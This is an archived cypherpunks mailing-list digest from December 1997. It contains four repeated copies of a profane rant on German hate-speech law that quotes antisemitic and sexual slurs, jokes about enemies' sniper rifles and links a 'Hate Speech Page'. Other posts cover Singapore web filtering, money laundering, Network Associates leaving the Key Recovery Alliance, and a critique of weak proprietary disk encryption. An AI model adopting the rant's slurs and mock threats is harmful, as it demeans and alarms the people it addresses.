In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC435.6184@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Dec 1997 03:01:06 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: It's Sunday
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC569.5793@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 7 Dec 1997 18:04:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Singapore
Message-ID: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>Mr. Frissell asserts that Germany lacks rights
>such as freedom of speech and
>association.
>This is not true.
>The German Basic Law provides for everyone the right to freedom of speech,
>religion and association.
>However, Germany prohibits hate speech i.e. National Socialism and
>incitement to racial, religious and national hatred.
>The reason for this exception is the German history.

And thus there is no true freedom of speech and such in Germany. I can
either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
me" or I can't. I can either post naked pictures of myself or I can't. (And
yes, this means that there is no true freedom of speech and such in the
United States either.)

Nice try.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Dec 1997 00:20:57 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: It's Sunday...
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC634.698E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 8 Dec 1997 00:20:25 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: It's Sunday...
In-Reply-To: <8cffbee92e0dc04390f8a269534a5dd2@squirrel>
Message-ID: <348AC732.4DCB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[It's early Sunday morning I'm having my first beer of the day 
 I've got a couple of hours to kill before the ball games begin
 Chances of this email being at all meaningful are mighty slim
 I'm sending it to everyone in my address book, nonetheless
 I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed And all without saying "Fuck Christmas" 
 Damn! I just said it...]
 

Secret Squirrel cracked open his left nut, and out came
the following Colonel of wisdom:

> >Mr. Frissell asserts that Germany lacks rights such as freedom 
> >of speech and association.
> >This is not true.
> >The German Basic Law provides for everyone the right to freedom of speech,
> >religion and association.
> >However, Germany prohibits hate speech i.e. National Socialism and
> >incitement to racial, religious and national hatred.
> >The reason for this exception is the German history.
 
> And thus there is no true freedom of speech and such in Germany. I can
> either say "Fuck the Jews" or I can't. I can either say "Bill Gates can blow
> me" or I can't. I can either post naked pictures of myself or I can't. (And
> yes, this means that there is no true freedom of speech and such in the
> United States either.)
> 
> Nice try.

  After spending what might be considered an inordinate amount of
time seeking an ISP which will allow me to put a picture on my web 
site of Bill Gates blowing me and fucking a Jew while I am naked,
I consider myself somewhat of an unofficial expert on freedom of
speech.
  To badly paraphrase Harry Browne, "You have a right to say 
whatever your mom and dad don't slap you silly (and send you to
bed without your supper) for saying."

INFANTILE JOKE ALERT!!!
  Little Johnny and little Billy come to the breakfast table.
  Mom says, "Little Johnny, what do you want for breakfast?"
  Little Johnny says, "I want a fucking bowl of cornflakes!"
  Mom slaps little Johnny silly and sends him to his room 
without breakfast. She then asks, "Little Billy, what do
_you_ want for breakfast?", giving him a stern warning look.
  Little Billy thinks for a second, and says, "Well, mom. You
can bet your sweet, fucking ass that I don't want a bowl of
cornflakes!"

  Hesse says, "We make our gods and do battle with them, and they
bless us." I say that the same applies to our devils and their
curses. 
  There is a reason why bartenders say, "Name your poison."

  Some of us want to live in a "free" country where 'evil' things
like pornography and hate speech are outlawed. (Overlooking the
fact that we are guilty of disguised nakedness and also guilty
of hating hate speech.)
  Some of us want to live in a "free" country where we are allowed
to carry guns to defend ourselves against those who would oppress
us. (Overlooking the fact that CypherPunks are living proof that
this invariably results in one shooting oneself in the foot, since
"We have met the enemy, and he is us!")
  Some of us want to live in a "free" country where pornography is
outlawed, but freely available (so we can still get a vicarious 
thrill from it); where hate speech is prohibited, but Micro$haft
jokes are required (by law); where guns are freely available, but
they all shoot 'both' ways (meaning you have to really, really
want someone dead before you shoot them).

MYTH EXPOSURE WARNING!!!
  "Recidivism" is the natural impulse of us all, not just the
officially recognized criminals amoung us.
  I broke out of prison, once. In order to assure that 'they' could
not recapture me, I built a concrete fortress with high walls, and
I put armed guards in towers at the corners. I put locked, barred
doors on all the rooms, so that myself and my guests are safe. I
hired armed guards to patrol my fortress in order to maintain the
order and discipline needed to ensure eveyone's safety. I never
leave the comfort and safety of my fortress.
  Hence I am now assured that they will never take me back to prison.
Never...

  Well, it looks like I was right about this being a pretty lame,
meaningless missive.
  I think I'll spend the rest of the day putting up "God's Canadian
Hate Speech Page" at: 
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm
  After all, it's Sunday.

Toto/TruthMonger/C.J.Parker/sog/sonofgomez/Anonymous
"And A Multiple Schizoid Personality Fracture To Be Named Later"

p.s. -
CORRECTION: 
The following should be followed by the following: "or vice-versa"
[I guess it's my way of touching base once a year in order to
 let my friends know there is still a risk of my showing up on
 their doorstep unannounced, and to remind my enemies that they
 should quit procrastinating and get the scope on their sniper
 rifle fixed]

p.p.s. - Since I can only Blind CC: so many people at a time, and I
  am too fucking lazy to edit out the original Reply To: recipients,
  this will result in a number of duplicate spams going to those
  addresses.
  At the risk of sounding like a hypocrite who will use things she
  does not believe in to serve his own self-interest, I would like
  to remind the whiners out there that it would be a bad idea to
  complain to or seek retribution on me this close to the yearly
  visit of a certain Jolly Old Bearded Fat Man. (hint: not me--the
  old fart who prefers 'nice' girls, not 'naughty' ones)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Mon, 8 Dec 1997 07:51:42 +0800
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Singapore
In-Reply-To: <01bd026d$85c8c4a0$06060606@russell>
Message-ID: <3.0.3.32.19971207114051.034b4498@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:
>I did come across some ill-informed post (not by Phillip though :-)) 
that 
>said that there are national filters to Internet access here.  Well, 
indeed,
>the top level ISPs here have choosen to use filtering proxy servers 
to filter 
                              ^^^^^^^^
>out an alleged list of 100 porno sites (you can see that there is an 
on going 
>URL hunt to discover these filtered sites on 
>www.sintercom.org/hunt/rahunt.html.  

And if any of those ISP's "chose" not to engage in such filtering, 
how long would they be permitted to stay in business?
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 7 Dec 1997 20:01:43 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <7bdc5ac25d3bf0a689fc6a2cbe4cc8b4@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

>Tim Mayo's abysmal grammar, atrocious spelling and 
>feeble responses clearly identify him as a product of 
>the American education system.

>       _
>      / '
>     |
>  /><oo><\  Tim Mayo
> //[ `' ]\\







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 8 Dec 1997 01:29:15 +0800
To: Rabid Wombat <shamrock@cypherpunks.to>
Subject: Re: Superdistribution development/release
In-Reply-To: <Pine.BSF.3.96.971204051052.9060A-100000@pakastelohi.cypherpunks.to>
Message-ID: <v0400276bb0b07f7fd8f7@[204.134.5.16]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:51 pm -0500 on 12/6/97, Rabid Wombat wrote:


> Don't under-estimate Bob; he can factor large primes in his head instantly.

Nah. I don't have the attention span. :-).

Can't even do arithmatic in my head very well. Linear algebra before
LINPACK, or even spreadsheets, -- much less graphing calculators -- was
hell...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus <no.reply.address@sirius.infonex.com>
Date: Mon, 8 Dec 1997 04:56:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712072035.MAA14649@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 7 Dec 1997 20:56:11 +0800
To: whgiii@invweb.net
Subject: NA/McAfee pulls out of KRAP (Re: One for the Good Guys)
In-Reply-To: <199712070455.XAA29871@users.invweb.net>
Message-ID: <199712071245.MAA01821@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> writes:
> Well McAffe has reluctantly pulled out of KRAP.
> 
> http://www.pgp.com/newsroom/na-kra.cgi

Well here it is, as it's pretty short:

Sounds like good news to me.

: Network Associates Withdraws from Key Recovery Alliance
: 
: Network Associates made the decision today to withdraw from the Key
: Recovery Alliance. The decision to withdraw has been made based on the
: acquisition of Pretty Good Privacy, Inc. (PGP), announced on December
: 1.
: 
: Network Associates' decision to buy PGP was based on a commitment to
: PGP's product line and the deployment of strong cryptography.
: 
: NAI believes that although the Key Recovery Alliance is not in itself
: a political organization, membership in it has unintended political
: consequences that outweigh any technical benefits we may receive.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 8 Dec 1997 07:51:57 +0800
To: info@galttech.com
Subject: Re: Security of Encrypted Magic Folders
In-Reply-To: <3.0.32.19691231160000.007076c4@shell15.ba.best.com>
Message-ID: <3.0.3.32.19971207145749.02f64da8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



TUCOWS lists the product with 5 cows.
www.pc-magic.com says ZD Net awarded it 5 stars,
but http://www6.zdnet.com/cgi-bin/texis/swlib/hotfiles/info.html?fcode=000IBY
says it's "Not Rated" as of 10/15/97.

> Sounds like a crock.  See the Snake-Oil FAQ.

Precisely - it looks like they've probably got a friendly user interface,
but doesn't have adequate security.  I'm disappointed that they'd get
a 5-whatevers rating without that quality behind it.

>From the MF.TXT documentation:
>~> CHKDSK won't run with Encrypted Magic Folders installed.  
>~> We disable ChkDsk because it can delete all your invisible files, 
>~> including the file containing your password data.

Sounds like it's playing some game using lost chains or equivalent.
No thanks :-)  But it's actually not a bad place to hide stuff,
if you expect amateurs to break into your system.

>>    EMF's encryption offers good protection and excellent speed.  It
>>    hasn't been broken yet.  It is, as far as we know, exportable. 

"As far as we know" means "We haven't applied for export permission",
which means "so we don't have a clue".  If it _did_ have export permission,
that would imply they'd either had some serious discussion with the Feds,
allowing export of a strong product for limited applications/customers,
or else that it was too wimpy for the Feds to care so they said OK.

>>    Quite a few people ask us how big EMF's key size is.  They've learned
>>    from other encryption programs that the bigger the key the stronger
>>    the encryption.  This really doesn't apply to EMF.

"Yow!  I'm using rot1313131313 with an 8192-bit key!"
With cryptographically strong algorithms, the key length determines
the amount of work required to crack them.  With weak algorithms,
adding longer and longer keys doesn't help any.

>>    We developed our own encryption instead of using a standard because
>>    we wanted EMF to be able to decrypt at the byte level.  In this way
>>    we only need to decrypt/encrypt the data your programs require and
>>    not the entire file.

Not a bad goal, for some applications, like communications.
For encrypting disk files, where you'll typically be grabbing
clusters of 512-8192 bytes at a time, it's unnecessary, and
weakening your encryption just to provide it is a big lose.
For some database applications, it may make sense, but generally
the amount of time required to decrypt a block of disk is
faster than the disk's seek time anyway, and I wouldn't trust a
serious database to a system that won't let you run chkdsk
and requires thought before using scandisk and defragmenters.

>>    In theory, because we decrypt at the byte level, the biggest key we
>>    could use would be 8 bits - which is a joke.  So instead of
>>    decrypting every hunk of data using the same key, as most other
>>    encryption programs do, we developed an algorithm to vary the key
>>    based on the data's location within the file.  In this way we get
>>    both high security and high speed.  We are trying to patent EMF's
>>    encryption method.

Many other algorithms actually provide this capability, typically by
using block chaining algorithms like CBC.  Varying the key based on
location in the file reduces the success of dictionary searches,
if done carefully, but if you're using an algorithm that
has a maximum keysize of the blocksize, anybody who figures out
the way you vary the 8-bit key by location can crack it trivially.
Furthermore, you *didn't* say that the key really was more than
8 bits...

Patenting requires revealing the algorithm, losing any supposed 
security you had by keeping it secret.  So you might as well reveal it now,
and let professional cryptographers take a look at it.

Patenting an algorithm doesn't mean the Patent Office thinks it's any good;
that's beyond their expertise.  It means they believe you when you say
it's new and unique, but with cryptography, there's a large amount of
prior art that's outside the expertise of a typical patent examiner.

>>    Having said all that, truth is, most encryption isn't "cracked" by
>>    breaking the algorithm, it's done by guessing the password.  Brute
>>    guessing of passwords tends to level the playing field tremendously.
>>    We actually have an advantage because we aren't an established
>>    standard.  Because we're small and relatively obscure chances are no
>>    one will take the effort to write a password guessing program (which
>>    incidentally would violate copyright and intellectual property laws.)

Being obscure doesn't help - anybody who's trying to guess the password
already knows the victim is using your program, and can disassemble it.

Anybody who's trying to crack somebody's disk drive without their permission
isn't going to be bothered by violating your clickwrap license,
especially if they're police engaged in legitimate crime fighting
or illegitimate warrantless searches.

>>    Even if someone were to go thru all this effort we could easily
>>    change the encryption method for the next update.
Doesn't help someone whose disk is already encrypted with your product.

>>    If we used an established encryption method like DES or Blowfish then
>>    your files would probably have to be fully decrypted when opened,
>>    would exist on disk as unencrypted while you're using them, and then
>>    would need to be encrypted when closed.  

That's not dependent on the algorithm, it's dependent on the interface
used to get the material off the disk.  Some encryption systems
encrypt the whole file on opening, or at system boot,
while others are file system or disk drivers that
encrypt/decrypt a block at a time and never leave the material unencrypted
on disk.  Surely you'd know that if you wrote such a program yourself.

>>    If you still think you'd like to see us use a standard encryption
>>    method like DES or Blowfish, or have any other suggestions, let us
>>    know and we will consider your input in future updates

If you don't use a standard algorithm, you need to publish the one you use
so people will know if it's any good.  There are a few people who can get
away without doing this, based on their reputation in the field,
but _you're_ not Ron Rivest, and even _he_ got much flak from the community
for keeping RC2 and RC4 trade secret for a while.  If you had the 
academic credentials to get away with it, you'd also know not to make
statements like the ones you make about export and obscurity.

So do the right thing - use algorithms that there's a good reason
to trust, and do the user interface stuff you do well.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus <no.reply.address@sirius.infonex.com>
Date: Mon, 8 Dec 1997 08:03:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712072343.PAA22192@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



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Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
